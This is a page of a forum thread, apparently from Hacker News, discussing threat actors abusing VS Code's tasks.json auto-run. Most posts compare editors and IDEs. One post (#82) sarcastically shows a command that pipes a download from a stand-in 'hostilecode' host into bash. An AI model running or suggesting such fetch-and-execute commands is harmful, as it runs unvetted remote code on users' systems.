Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Threat actors expand abuse of Microsoft Visual Studio Code

jamf.com

Post reply on HN
Print view View original

81–90 of 306 posts

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#81

Post by rovr138 »

DrewADesign wrote: post #40
morcus wrote: post #35

Earlier quoted context omitted.

> Eclipse gets a lot of automatic hate - I believe mostly since a lot of people first use it in university and struggled with their first real IDE. More like Eclipse struggled on the kind of hardware that people could afford as a student. My main memories of Eclipse (15 years ago at this point) are waiting forever for it to start up, though it was pretty adequate after that.

Right, but it’s essentially a fancy text editing environment. It should never have needed anything but barebones hardware.

> essentially a fancy text editing environment

No, it’s an IDE first. Not a text editor that’s extensible. It has a lot of features built-in, pre-enabled, and configured out of the box.

Yes, it can edit text. But it can do a lot more.

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#82

Post by Animats »

When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system.

Sigh. It's so Microsoft to just run random stuff.

Of course, in the Linux world, we have "Install with"

   curl https://www.hostilecode.com > bash

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#83

Post by no-name-here »

sakjur wrote: post #77
closeparen wrote: post #62

Earlier quoted context omitted.

Never liked Eclipse, but I’ve been forced to use VSCode over my preferred JetBrains IDEs because it is the only modern mainstream editor with a competent client-server mode. As in, actually rendering the UI locally while doing all the code indexing and intelligence on the server. Corporate world would much rather maintain disposable remote VMs than help you unfuck your laptop after whatever required security upgrade…

Have you tried Jetbrains Gateway? I’m curious whether it’s insufficient or just too recent, as I’ve eyed it a few times.

For those unfamiliar, Gateway is essentially a thin local client for Jetbrains IDEs to run remotely. The remote functionality at least is free. https://www.jetbrains.com/remote-development/gateway/

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#84

Post by paul_h »

bethekidyouwant wrote: post #29

tasks.json is the problem here, who thought that was a good idea?

Agree. But the first build you do after that clone/checkout is risky too. Maybe not as wide open, as the build-tool makers are a line of defence if they're acting on classes of vuln.

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#85

Post by vanviegen »

mrkeen wrote: post #79
closeparen wrote: post #62

Earlier quoted context omitted.

Never liked Eclipse, but I’ve been forced to use VSCode over my preferred JetBrains IDEs because it is the only modern mainstream editor with a competent client-server mode. As in, actually rendering the UI locally while doing all the code indexing and intelligence on the server. Corporate world would much rather maintain disposable remote VMs than help you unfuck your laptop after whatever required security upgrade…

Yikes, sounds like hell. Corporate never seems to get that git is the kind of interface you want between your computer and their servers. Then when you trash your computer you can just get it back to the state of being able to git.

They're not using the remote VM as a server but as the development machine though. You don't want to have to git commit and push every time you need to run or even type-check your code.

I think what GP describes is actually a pretty okay solution for orgs that don't want to provider their devs with local admin privileges.

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#86

Post by gt0 »

TheAdamist wrote: post #2

Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays? Im forced to use vs code (so biased), but everything seems worse than eclipse, plus these repeated security issues from malware laced projects. Theres been several posts about infected projects by fake recruiters here in the last year or two. Im guessing the answer is probably Java is why eclipse is out of favor.

It's free, it has support for loads of languages, and it's kind of fashionable.

Personally I'm kind of lukewarm on VS Code, it's fine, but CLion, Visual Studio Proper, and RustRover are better for me.

I see why people use it though, it's not a bad editor at all.

For Java, I'm all over IntelliJ.

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#87

Post by pjmlp »

fizlebit wrote: post #59

I do feel like better application sandboxing is needed but so much open source software is built on the Unix abstraction meaning you have to run in a container, but macOS doesn’t have containers as far as I can see, and containers themselves are a bit of a poor abstraction, although maybe the best we can do with Unix at the core. I think something closer to Roblox studio would be cool where when you open an environme…

That what stuff like XPC and entitlements are for, which naturally programs from UNIX culture background don't care to use.

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#88

Post by leptons »

eikenberry wrote: post #6
TheAdamist wrote: post #2

Coming from the perspective of an eclipse fan, why is VS code the defacto answer nowadays? Im forced to use vs code (so biased), but everything seems worse than eclipse, plus these repeated security issues from malware laced projects. Theres been several posts about infected projects by fake recruiters here in the last year or two. Im guessing the answer is probably Java is why eclipse is out of favor.

Seems very odd to me that someplace would force the use of a particular development tool. I've seen it only one time while interviewing, where they wanted everyone to have identical setups so they could easily hop onto each others computers when needed... it was weird and I took it as a red flag and didn't follow through them them.

Some software development workflows require specific tooling, with complex setups. While it may be possible to do with other tools, it's often very difficult, and not really worth the trouble when there is a known working setup. It's easier to onboard new people if they use the established toolchain with known working configs. I worked at a place once where it took several days to get the dev environment set up. It would have taken far longer if someone wanted to use whatever random tool they'd prefer to use.

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#89

Post by coderbants »

fizlebit wrote: post #59

I do feel like better application sandboxing is needed but so much open source software is built on the Unix abstraction meaning you have to run in a container, but macOS doesn’t have containers as far as I can see, and containers themselves are a bit of a poor abstraction, although maybe the best we can do with Unix at the core. I think something closer to Roblox studio would be cool where when you open an environme…

[dead]

Re: Threat actors expand abuse of Microsoft Visual Studio Code

#90

Post by jonwinstanley »

fleebee wrote: post #74
jonwinstanley wrote: post #60

Earlier quoted context omitted.

Yes, Atom was an earlier shot at building a Sublime competitor too. I don’t know how usage of Atom compared to Sublime, but within my friends and colleagues it was only when VS code got good that people started moving away from Sublime.

I can only speak for $MY_JOB, but I'm pretty sure everyone was on Atom before VSC "got good". Atom had a good plugin ecosystem; what really drove the change was Atom's horrible performance issues whereas VSC was snappy and responsive. What I believe also influenced the shift was that at that point in time MS had accumulated a decent amount of developer trust by giving us TypeScript and later on by acquiring GitHub. T…

Ahh ok, interesting. I bounced off atom immediately but VS code got me.
Post reply on HN